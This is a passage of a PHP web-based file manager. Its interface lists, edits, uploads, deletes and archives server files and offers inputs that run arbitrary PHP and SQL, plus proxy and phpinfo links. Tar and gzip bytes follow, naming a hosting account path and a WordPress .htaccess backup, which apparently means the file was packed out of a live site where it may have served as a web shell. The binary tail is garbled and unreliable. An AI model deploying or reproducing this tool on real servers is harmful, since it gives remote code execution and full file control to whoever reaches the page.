                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

                                 		        }

                                 		        if (($header['size'] % 512) != 0) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, ($header['size'] % 512));

                                 		        }

                                 		        fclose($destination);

                                 		        touch($header['filename'], $header['time']);

                                 	}

                                 	clearstatcache();

                                 	if (filesize($header['filename']) != $header['size']) {

                                 		        $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

                                 		        return false;

                                 	}

                                 }

                                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

                                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

                                 $this->dirs[] = $file_dir;

                                 $this->files[] = $header['filename'];

	
		        }

		        return true;

	}


	function dirCheck($dir){

		        $parent_dir = dirname($dir);


		        if ((@is_dir($dir)) or ($dir == ''))

                                 return true;


		        if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                                 return false;


		        if (!mkdir($dir, 0777)){

                                 $this->errors[] = __('Cannot create directory').' '.$dir;

                                 return false;

		        }

		        return true;

	}


	function extractHeaderInformation($binaryData, &$header){

		        if (strlen($binaryData)==0){

                                 $header['filename'] = '';

                                 return true;

		        }


		        if (strlen($binaryData) != 512){

                                 $header['filename'] = '';

                                 $this->__('Invalid block size').': '.strlen($binaryData);

                                 return false;

		        }


		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PKd�n[���B�B�file.phpnu�[���PKHz�.htaccess.bk.tar000064400000004000151057443550007525 0ustar00home/kbdhpghp/bemkasar.com.br/.htaccess.bk000064400000000272151057443410014425 0ustar00# BEGIN NON_LSCACHE
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
# END NON_LSCACHE
.gemrc.gemrc.tar.gz000064400000000304151057443550010150 0ustar00�풻� �;�)�.������*ơR.�o�tl�D����	i� �n��(g���}�19p��ٳ:c
�͑�=J���[_d��|k1�Y?�%�zy**+���;��6h��yW-�Ć�2�o�cCw'�����K�Η</c�g�I�&-��`����tP��x��O�H$��#d